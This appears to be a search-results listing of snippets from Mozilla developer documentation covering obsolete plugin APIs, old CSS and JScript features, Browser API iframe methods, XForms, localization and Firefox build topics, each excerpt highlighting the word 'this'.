summary: mozilla.dev.tech.xpcom - sept 30- oct 5, 2006 announcements build a xpcom component on mac os x benjamin smedberg confirmed that
this tutorial http://www.iosart.com/firefox/xpcom/ is misleading as it uses the standalone glue (-dxpcom_glue) for components, which is not recommended.
... developers should use
this sample instead: http://developer.mozilla.org/en/docs/xpcom_glue discussions dynamic load overlay a short discussion about the possibilities of loading and unloading xul overlay runtime reading binary data from file discusses about the code to read binary data from file how to build xpcom component on mac os x discusses about the make file code used to build xpcom components on mac os x successfully meetings none during
this week.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 11-nov 17, 2006 announcements none during
this week.
... discussions xpidl crashes imycomp.h problems: "xpidl.exe has encountered a problem and needs to close" meetings none during
this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 18-nov 24, 2006 announcements none during
this week.
... for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during
this week.
2006-12-08 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - dec 02- dec 08, 2006 announcements none during
this week.
... saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a url in an extension implemented in javascript meetings none during
this week.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 10 - november 17, 2006 announcements no meeting for
this week.
... meetings no meetings were scheduled
this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 17 - november 24, 2006 announcements no meeting for
this week.
... meetings no meetings were scheduled
this week.
NPAnyCallbackStruct - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note:
this structure is only used on unix platforms.
...
this structure contains the file pointer to which the plug-in should write its postscript data.
NPByteRange - Archive of obsolete content
this value may be either positive or negative: positive value: offset from the beginning of the stream.
... next points to the next npbyterange request in the list of requests, or null if
this is the last request.
NPN_GetAuthenticationInfo - Archive of obsolete content
const char *host, int32_t port, const char *scheme, const char *realm, char **username, uint32_t *ulen, char **password, uint32_t *plen); parameters
this function has the following parameters: instance pointer to the current plug-in instance protocol protocol name (uri scheme) host host name port port number scheme http authentication scheme name realm http authentication realm username out parameter.
...
this function allows the plugin to ask the browser for http authentication information for a domain.
NPN_GetValueForURL - Archive of obsolete content
syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_getvalueforurl(npp instance, npnurlvariable variable, const char *url, char **value, uint32_t *len); parameters
this function has the following parameters: instance pointer to the current plug-in instance.
... description
this entry point is designed to allow plugins which implement their own http stacks to form requests to the web server in the same way the browser does.
NPN NewStream - Archive of obsolete content
the plug-in can use
this object in subsequent calls to npn_write to write data into the stream.
...if the new stream has the target of _self,
this function should return an invalid_param np error.
NPN_RequestRead - Archive of obsolete content
this initiates a read operation; the actual data is received through subsequent calls to npp_writeready() and npp_write().
...the plug-in can use
this function to make one or more requests for ranges of bytes.
NPN_SetValueForURL - Archive of obsolete content
aning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_setvalueforurl(npp instance, npnurlvariable variable, const char *url, const char *value, uint32_t len); parameters
this function has the following parameters: instance pointer to the current plug-in instance.
... description
this entry point is designed to allow plugins to affect the cookies sent by the browser back to the server.
NPN_UserAgent - Archive of obsolete content
this can be used to handle variations in different browsers (or versions thereof) when implementing your plug-in.
...you can use
this information to verify that the expected browser is in use, or you can use it in combination with npn_version() to supply different code for different versions of the same browser.
NPP_DestroyStream - Archive of obsolete content
after
this, the browser deletes the npstream object.
... you should delete any private data allocated in stream->pdata at
this time, and should not make any further references to the stream object.
NPP_HandleEvent - Archive of obsolete content
the plug-in either handles or ignores the event, depending on the value given in the event parameter of
this function.
...for
this reason, npp_handleevent is only way the plug-in can receive events from its host application on mac os.
NPP_Write - Archive of obsolete content
this gives you different information depending in the type of stream.
...in a seekable stream with byte range requests, you can use
this parameter to track npn_requestread requests.see also npp_destroystream, npp_newstream, npp_writeready, npstream, npp ...
NPSavedData - Archive of obsolete content
this information can be returned to another instance of the same plug-in if the user returns to the web page that contains it.
...after
this, the plug-in is responsible for keeping or deleting the objects as necessary.
NP_Shutdown - Archive of obsolete content
syntax #include <npapi.h> void np_shutdown(void); windows #include <npapi.h> void winapi np_shutdown(void); description the browser calls
this function once after the last instance of your plug-in is destroyed, before unloading the plug-in library itself.
... if you have defined a java class for your plug-in, be sure to release it at
this time so that java can unload it and free up memory.
Entity list - Archive of obsolete content
this page provides a list of the entities supported by various versions of rss.
...(userland's rss 0.91 does not use
this dtd.) entity decimal character rss version 0.90 n 0.91 r1 n 0.91 r3 u 0.91 0.92 0.93 0.94 1.0 2.0 á # á ✔ ✔ ✔ ?
Content - Archive of obsolete content
but doing
this in more efficient ways.
... references rss content module element list examples none available at
this time community none available at
this time tools none available at
this time other resources rss content module spec rss, rdf, xml ...
SAX - Archive of obsolete content
ce) { // don't care }, startprefixmapping: function(prefix, uri) { // don't care }, endprefixmapping: function(prefix) { // don't care }, // nsisupports queryinterface: function(iid) { if(!iid.equals(components.interfaces.nsisupports) && !iid.equals(components.interfaces.nsisaxcontenthandler)) throw components.results.ns_error_no_interface; return
this; } }; start parsing the xml reader component can parse xml from a string, an nsiinputstream, or asynchronously via the nsistreamlistener interface.
... below is an example of parsing from a string: xmlreader.parsefromstring("<f:a xmlns:f='g' d='1'><bbq/></f:a>", "text/xml");
this call results in the following output (assuming the content handler from the example above is used): startdocument startelement: namespace='g', localname='a', qname='f:a', attributes={d='1'} startelement: namespace='', localname='bbq', qname='bbq', attributes={} endelement: namespace='', localname='bbq', qname='bbq' endelement: namespace='g', localname='a', qname='f:a' enddocument ...
Solaris 10 Build Prerequisites - Archive of obsolete content
the tools included with solaris and sun studio should be sufficient for building mozilla, so you can skip
this.
...fortunately, it also isn't necessary, so you can fix
this problem by simply removing the reference to that package from the installer script (cbe-install).
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by
this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_t...
...state that we work only with major version 1 of
this package.
-moz-text-blink - Archive of obsolete content
firefox, which was the only major browser supporting it, dropped support for
this property in firefox 26.
... formal syntax none | blink example .example { -moz-text-blink: blink; } specifications
this property was defined in an old draft of the css 3 text specification.
-moz-window-shadow - Archive of obsolete content
this property is not standard and from firefox 44 onwards cannot be used on websites anymore.
...
this version introduced the -moz-window-shadow css property to provide a way to turn off unwanted shadows.
-ms-accelerator - Archive of obsolete content
formal syntax false | true examples
this example uses the -ms-accelerator attribute in a <u> element to specify that the "n" in the <label> element is a keyboard shortcut.
... remarks
this property is supported by windows 2000 and later.
-ms-scrollbar-face-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples
this example uses -ms-scrollbar-face-color and -ms-scrollbar-arrow-color to display a scroll bar with a blue scroll box and arrows, and a scroll bar with a green scroll box and arrows.
... </div> </body>
this image shows the result: specifications not part of any specification.
-ms-scrollbar-highlight-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples
this example uses -ms-scrollbar-highlight-color, -ms-scrollbar-face-color, and -ms-scrollbar-arrow-color to create two <div> objects with different scroll bar color schemes.
... </div> </body>
this image shows the result: specifications not part of any specification.
-moz-os-version - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
...
this can be useful for adapting application skins and other chrome code depending on the user's operating system version.
-moz-scrollbar-end-backward - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the device's user interface displays a backward arrow button at the end of scrollbars,
this is 1.
-moz-scrollbar-end-forward - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the device's user interface displays a forward arrow button at the end of scrollbars,
this is 1.
-moz-scrollbar-start-backward - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the device's user interface displays a backward arrow button at the beginning of scrollbars,
this is 1.
-moz-scrollbar-start-forward - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the device's user interface displays a forward arrow button at the beginning of scrollbars,
this is 1.
-moz-scrollbar-thumb-proportional - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the device's user interface displays the thumb of scrollbars proportionally (that is, sized based on the percentage of the document that is visible),
this is 1.
-moz-windows-classic - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the user is using windows unthemed (in classic mode instead of using uxtheme),
this is 1.
-moz-windows-default-theme - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the user is using one of the default windows themes—luna, royale, zune, or aero (including vista basic, vista advanced, and aero glass)—
this is 1.
azimuth - Archive of obsolete content
this is important in that it provides a natural way to tell several voices apart, as each can be positioned to originate at a different location on the sound stage.
...the value 0deg means directly ahead in the center of the sound stage (
this is the default value).
display-inside - Archive of obsolete content
if the element's computed <display-outside> value is an layout-specific internal type,
this elements acts as normal for its given <display-outside> value.
... otherwise,
this value computes to block.
E4X - Archive of obsolete content
obsolete
this feature is obsolete.
...it does
this by providing access to the xml document in a form that feels natural for ecmascript programmers.
Using JavaScript Generators in Firefox - Archive of obsolete content
warning:
this technique works only in firefox, not ie, chrome, safari, etc.
...you can opt in in html as follows: <script type="text/javascript;version=1.7" src="myscript.js"></script> then your myscript.js file might look like
this: // need to stash the generator in a global variable.
Debug.write - Archive of obsolete content
example
this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger.
... note: to run
this example, you must have a script debugger installed and the script must run in debug mode.
Debug.writeln - Archive of obsolete content
example
this example uses the debug.writeln function to display the value of the variable in the immediate window of the microsoft script debugger.
... note: to run
this example, you must have a script debugger installed and the script must run in debug mode.
Debug - Archive of obsolete content
debug.setnonusercodeexceptions determines whether any try-catch blocks in
this scope are to be treated by the debugger as user-unhandled.
... examples print the value of a variable
this example uses the write function to display the value of the variable.
Error.number - Archive of obsolete content
this object is a microsoft extension and is only supported in internet explorer.
... var x = y; } catch(e) { document.write ("error code: "); document.write (e.number & 0xffff) document.write ("<br />"); document.write ("facility code: ") document.write(e.number>>16 & 0x1fff) document.write ("<br />"); document.write ("error message: ") document.write (e.message) } example the output of
this code is as follows.
VBArray - Archive of obsolete content
this object is a microsoft extension and is only supported in internet explorer.
...
this can only be done by retrieving the value from an existing activex or other object.
@if - Archive of obsolete content
this is because the capabilities of the compilers can be determined by using other methods.
...
this enables hosts that do not support conditional compilation to ignore it.
@set - Archive of obsolete content
examples of variable declarations look like
this: @set @myvar1 = 12 @set @myvar2 = (@myvar1 * 20) @set @myvar3 = @_jscript_version the following operators are supported in parenthesized expressions: !
...
this works because nan is the only value not equal to itself.
New in JavaScript - Archive of obsolete content
this chapter contains information about javascript's version history and implementation status for mozilla/spidermonkey-based javascript applications, such as firefox.
...
this is the last javascript version.
handler.enumerate() - Archive of obsolete content
this is bound to the handler.
... interceptions
this trap can intercept these operations: property enumeration / for...in: for (var name in proxy) {...} reflect.enumerate() invariants if the following invariants are violated, the proxy will throw a typeerror: the enumerate method must return an object.
Packages - Archive of obsolete content
obsolete since gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13)
this feature is obsolete.
... the support for
this object was removed in gecko 16, see liveconnect for details.
Building Mozilla XForms - Archive of obsolete content
an old firefox 3.6 release) use
this instead (see bug 601570 for details): ac_add_options --enable-extensions="default,xforms,schema-validation" a complete .mozconfig file for a release build might look like that: .
...2 on a dual core processor) ac_add_options --enable-extensions="default,xforms" ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests for a debug build, you could use
this configuration: .
XForms Output Element - Archive of obsolete content
attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control accesskey - used to specify the keyboard shortcut for focusing
this control single-node binding special value - xpath expression whose evaluation result is used as the output's value.
... image if the bound instance node contains an image then you are free to use
this representation to show the image instead of the byte sequence of the image data (fx 3.0 only, xhtml/xul).
XForms Trigger Element - Archive of obsolete content
attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control accesskey - used to specify the keyboard shortcut for focusing
this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type.
...characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable text xforms authors can use
this representation if they want to have a widget like a xhtml anchor (xhtml only).
Using XForms and PHP - Archive of obsolete content
?> but remember
this (quote from php documentation): remember that header() must be called before any actual output is sent, either by normal html tags, blank lines in a file, or from php.
...to get a dom document on php 4 i usually do something like
this: $data = $http_raw_post_data; $dom = domxml_open_mem($data); $root = $dom->document_element(); ...
3D games on the Web - Game development
where to go next with
this article we just scratched the surface of what's possible with currently available technologies.
... source code you can find all the source code for
this series demos on github.
Touch Event Horizon - Game development
this article is for touch event horizon and a game related to it touch gestures and events link the example game github repository live demo setting up the canvas counting the taps touchstart, touchend collecting the bonus touchmove future developments summary
this tutorial shows how to use touch events to create a game on a <canvas>.
...
this is a multi-player game relying on the tap and drag gestures.
Game development
in
this area of the site, we provide resources for web developers wanting to develop games.
... port native games to the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our emscripten tool —
this is an llvm to javascript compiler, which takes llvm bytecode (e.g.
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
a location breadcrumb for
this document might look something like
this: mdn > glossary > breadcrumb breadcrumb trails enable users to be aware of their location within a website.
...
this type of navigation, if done correctly, helps users know where they are in a site and how they got there.
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
the constructor initializes
this object and can provide access to its private information.
... syntax //
this is a generic default constructor class default function default() { } //
this is an overloaded constructor class overloaded // with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascript, use a new operator to assign a new object reference to a variable.
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
its "domain name" is a way to address
this authority as part of the hierarchy in a url - usually the most memorable part of it, for instance a brand name.
... a fully qualified domain name (fqdn) contains all necessary parts to look up
this authority by name unambigously using the dns system of the internet.
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
besides
this, gecko makes sure associated apis work well on every operating system gecko supports, and that appropriate apis are exposed only to relevant support targets.
...
this means that gecko includes, among other things, a networking stack, graphics stack, layout engine, a javascript virtual machine, and porting layers.
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
this protocol lets two peers find and establish a connection with one another even though they may both be using network address translator (nat) to share a global ip address with other devices on their respective local networks.
... the framework algorithm looks for the lowest-latency path for connecting the two peers, trying these options in order: direct udp connection (in
this case—and only
this case—a stun server is used to find the network-facing address of a peer) direct tcp connection, via the http port direct tcp connection, via the https port indirect connection via a relay/turn server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks nat traversal) learn more general knowledge webrtc, the principal web-related protocol which uses ice webrtc protocols technical reference rfc 5245, the ietf specification for ice rtcicecandidate, the interface representing a ice candidate ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
semantics in html in html, for example, the <h1> element is a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>
this is a top level heading</h1> by default, most browser's user agent stylesheet will style an <h1> with a large font size to make it look like a heading (although you could style it to look like anything you wanted).
...consider the following: <span style="font-size: 32px; margin: 21px 0;">is
this a top level heading?</span>
this will render it to look like a top level heading, but it has no semantic value, so it will not get any extra benefits as described above.
Loop - MDN Web Docs Glossary: Definitions of Web-related terms
example: for(var i = 0; i < 10; i++){ console.log(i) } //
this loop will print numbers 0-9, will stop when condition is met (i = 10) for the above example, the syntax is as follows: statement 1 sets the variable for the loop (var i = 0).
... example: var i = 0; while(i < 5){ console.log(i) i++ } //
this loop will print number 0-4, will stop when condition becomes false (i >=5) for the above example, the syntax is as follows: the code block will continue to run as long as the variable (i) is less than 5.
What HTML features promote accessibility? - Learn web development
the tabindex attribute allows you to define
this order.
... <ul> <li><a href="here.html" tabindex="1">here</a></li> <li><a href="there.html" tabindex="3">there</a></li> <li><a href="anywhere.html" tabindex="2">anywhere</a></li> </ul> in
this example (which is used purely as a demonstration—do not do
this), tabbing would jump from “here” to “anywhere” to “there”.
Example 3 - Learn web development
this is the third example that explain how to build custom form widgets.
...box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(
this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) ...
Example 4 - Learn web development
this is the fourth example that explain how to build custom form widgets.
...box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(
this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) ...
Example 5 - Learn web development
this is the last example that explain how to build custom form widgets.
...box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(
this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) ...
Example - Learn web development
this is the example code for the article your first html form.
...field with their label */ vertical-align: top; /* to give enough room to type some text */ height: 5em; /* to allow users to resize any textarea vertically it works only on chrome, firefox and safari */ resize: vertical; } .button { /* to position the buttons to the same position of the text fields */ padding-left: 90px; /* same size as the label elements */ } button { /*
this extra magin represent the same space as the space between the labels and their text fields */ margin-left: .5em; } result ...
HTML performance features - Learn web development
this module intends to walk you through the key html performance features that can drastically improve the quality of your webpage.
... elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion previous overview: performance next in
this module the "why" of web performance what is web performance?
Web performance resources - Learn web development
knowing
this will help you understand how to improve the performance of the site.
... <link rel="stylesheet" href="/path/to/my.css" media="print" onload="
this.media='all'"> <noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> the downside with
this approach is the flash of unstyled text (fout.) the simplist way to address
this is by inlining css that is required for any content that is rendered above the fold, or what you see in the browser viewport before scrolling.
Information for External Developers Dealing with Accessibility
mac keys: keyboard shortcuts quick reference for mac os x complete reference on keyboard for mac os x:
this document list all functions of specified keys, known keyboard shortcuts, explains how to create keyboard shortcuts, explains appropriate use for the arrow keys, how to move the insertion point with keys, how to extent text selection with keys, functions of function keys, what are reserved keyboard shortcuts, how to create your own keyboard shortcuts, keyboard focus and navigation, type-ahead and ...
...since
this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
Mozilla Plugin Accessibility
this will allow keyboard users to still access menus, close the current page, scroll, move back and forward in history, etc.
...the bug tracking
this work is bug 93149.
Mozilla's Section 508 Compliance
we expose
this information to assistive technology via microsoft active accessibility (msaa) (windows) and accessibility toolkit (atk) (linux/unix).
...however, it is functional and very possible to use zoomtext with mozilla in
this mode.
ZoomText
here's how you can test: download a copy of mozilla 1.8a6 (
this is not firefox).
...you may wish to read through the current issues on
this page before reporting bugs.
Adding a new word to the en-US dictionary
this article describes the process for adding a word to the dictionary.
... get into the dictionary sources directory using
this command: cd extensions/spellcheck/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries.
Benchmarking
this setting reduces build times significantly but comes with a serious hit to runtime performance for any rust code (for example stylo and webrender).
...(
this may be disabled for many situations in the future.
Bugzilla
bugzilla etiquette a guide to etiquette;
this guide will help you understand how best to conduct yourself on b.m.o.
...
this guide will help you do so.
Creating a spell check dictionary add-on
this page describes how to package a hunspell spell check dictionary as a firefox add-on, or how to update your existing add-on, so that it can be installed, uninstalled and updated without a restart.
...
this file contains information about your add-on such as name and version number (see below).
Debugging update problems
you can do
this using the live http headers addon to determine the url of the update request.
... that url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request
this url manually to see what's inside.
Articles for new developers
to help you find the most critical stuff as quickly as possible, we've created
this list of the articles you'll find most useful as you get yourself oriented and make your first contributions to the project.
... contributing to the mozilla code base
this page should guide you through the initial steps of contributing to mozilla.
Updating NSPR or NSS in mozilla-central
(because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a new static tag, follow
this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla 17 (without the change from bug 782784), you must manually add a dummy change...
...
this is for builds with --with-system-nss.
Security best practices for Firefox front-end engineers
this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.
...
this policy includes all dom apis that take a string and parse it into a dom tree.
HTMLIFrameElement.download()
if
this is not specified, the filename used will be the original filename, as specified in the url.
...if
this is not specified there will be no referrer.
HTMLIFrameElement.getMuted()
non-standard
this feature is non-standard and is not on a standards track.
... syntax there are two versions of
this method, a callback version: var request = instanceofhtmliframeelement.getmuted(); and a promise version: instanceofhtmliframeelement.getmuted().then(function(muted) { ...
HTMLIFrameElement.getScreenshot()
it won't wait more than 2000ms (
this delay is defined by the gecko dom.browserelement.maxscreenshotdelayms preference).
...
this lets you get a transparent background for the content <iframe>.
HTMLIFrameElement.getStructuredData()
non-standard
this feature is non-standard and is not on a standards track.
... examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running
this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": ...
HTMLIFrameElement.getVisible()
non-standard
this feature is non-standard and is not on a standards track.
... example var browser = document.queryselector('iframe'); var request = browser.getvisible(); request.onsuccess = function() { console.log('the visible state is: ' +
this.result ?
HTMLIFrameElement.getVolume()
non-standard
this feature is non-standard and is not on a standards track.
... syntax there are two versions of
this method, a callback version: var request = instanceofhtmliframeelement.getvolume(); and a promise version: instanceofhtmliframeelement.getvolume().then(function(volume) { ...
HTMLIFrameElement.goBack()
non-standard
this feature is non-standard and is not on a standards track.
... by calling
this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
HTMLIFrameElement.goForward()
non-standard
this feature is non-standard and is not on a standards track.
... by calling
this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on.
mozbrowsercaretstatechanged
non-standard
this feature is non-standard and is not on a standards track.
...
this is used by the embedder to show a context menu for clipboard actions.
mozbrowserfindchange
non-standard
this feature is non-standard and is not on a standards track.
...
this includes htmliframeelement.findall(), htmliframeelement.findnext(), and htmliframeelement.clearmatch().
mozbrowserfirstpaint
non-standard
this feature is non-standard and is not on a standards track.
... the mozbrowserfirstpaint event is fired when the <iframe> paints content for the first time (
this doesn't include the initial paint from about:blank).
mozbrowserlocationchange
non-standard
this feature is non-standard and is not on a standards track.
... example
this example updates the url bar so that it will always display the correct url for the current location.
mozbrowsermanifestchange
non-standard
this feature is non-standard and is not on a standards track.
... by
this, we are referring to the href of the manifest, as defined in <link rel="manifest" href=" … ">.
mozbrowserscrollareachanged
non-standard
this feature is non-standard and is not on a standards track.
...
this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
mozbrowsersecuritychange
non-standard
this feature is non-standard and is not on a standards track.
...
this may mean that the request is being loaded as part of a page in which some content was received over an insecure channel.
HTMLIFrameElement.setVolume()
non-standard
this feature is non-standard and is not on a standards track.
... parameters number a floating point number representing the volume you want to set —
this can have a value between 0 and 1.
ChromeWorker
non-standard
this feature is non-standard and is not on a standards track.
...addons that wish to use file:// urls must first register a resource replacement path, using code like
this: var fileuri = services.io.newfileuri(file); services.io.getprotocolhandler('resource').
CSS -moz-bool-pref() @supports function
example warning:
this will only work when loaded from a gecko chrome stylesheet.
... html <div id="pref-test">
this will have a green background if the <code>test</code> preference is enabled.
CSS <display-xul> component
see
this firefox site compatibility post for more details.
...see
this firefox site compatibility post for more details.
IPDL Type Serialization
this is accomplished through type specialization of a c++ traits class.
...most structures can be serialized in
this manner: struct examplestruct { int i; nscstring j; int k[4]; }; namespace ipc { template <> struct paramtraits<examplestruct> { typedef examplestruct paramtype; static void write(message* amsg, const paramtype& aparam) { writeparam(amsg, aparam.i); writeparam(amsg, aparam.j); for (int i = 0; i < 4; ++i) writeparam(amsg, aparam.k[i]); } static bool read(const...
Introduction to Layout in Mozilla
many don’t work like
this!
... original document information author(s): chris waterson last updated date: june 10, 2002 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Add-on Manager
for example: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getalladdons(function(aaddons) { // here aaddons is an array of addon objects }); //
this code will execute before the code inside the callback notifications about changes to installed add-ons are dispatched to any registered addonlisteners.
... read more about it at
this topic here on mozilla add-ons forum :: how to open an add-on's preference panel?
Add-on Repository
searchaddons() begins a search for add-ons in
this repository.
...the results will match what you would get if you typed
this string in the search box on the amo web site.
DownloadLastDir.jsm
to use
this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
... using the downloadlastdir object to determine or set the path into which the last download occurred: // file is an nsifile var file = downloadlastdir.file; downloadlastdir.file = file; you can also set and retrieve
this information on a site-by-site basis.
FxAccountsOAuthClient.jsm
default: /authorization return value a newly created fxaccountsoauthclient object implementing the methods described in
this article.
...parameters none teardown() call
this function to manually release all channels and callbacks that are in use by
this client.
PromiseUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method overview deferred defer(); methods defer() creates a new pending promise and provides methods to resolve or reject
this promise.
...
this method was previously implemented as promise.defer(), which is obsolete since gecko 30.
JavaScript code modules
mozilla labs js modules
this page features a list of javascript modules, along with download links and documentation, that extension developers can use in their code.
... source-editor.jsm the source editor is used by developer tools such as, the style editor;
this interface implements the editor and lets you interact with it.
Encodings for localization files
this is tricky to hook up in the build process, so here it goes: file encoding notes toolkit/installer/windows/charset.mk ascii the win_installer_charset variable must be set to an encoding which matches toolkit/installer/windows/install.it charset= parameter.
...
this must match the charset= parameter in
this file, and the win_installer_charset parameter in charset.mk the fontname/fontsize/charset parameters in
this file must be set to good values.
Localizing XLIFF files for iOS
this tutorial will walk you through the steps you need to take to translation strings within an xliff file.
... commiting your xliff file using
this command, commit your translated xliff file into your locale's directory: git commit -m "commit message here" .
Localizing extension metadata on addons.mozilla.org
this data describes the extension, and doesn't necessarily change with each revision (but it can).
... amazon mechanical turk
this is not free, but for a very modest amount of money you can get your amo page quickly translated by native speakers.
Setting up the infrastructure
this is useful when a localizer submits a new version of the messages.po file.
...
this way the localizers will be able to preview their changes almost in real-time.
Fonts for Mozilla's MathML engine
this wiki page describes how users can install and use such math fonts with mozilla's mathml engine.
...typically, use a fontconfig configuration /etc/fonts/conf.avail/09-texlive-fonts.conf that points to the opentype directory of texlive, such as: <?xml version="1.0"?> <!doctype fontconfig system "fonts.dtd"> <fontconfig> <dir>/your/path/to/texmf-dist/fonts/opentype</dir> </fontconfig> finally, add
this configuration file to the system font location list and regenerate the fontconfig cache: ln -sf /etc/fonts/conf.avail/09-texlive-fonts.conf /etc/fonts/conf.d/ fc-cache -sf android you must use the mathml-fonts add-on.
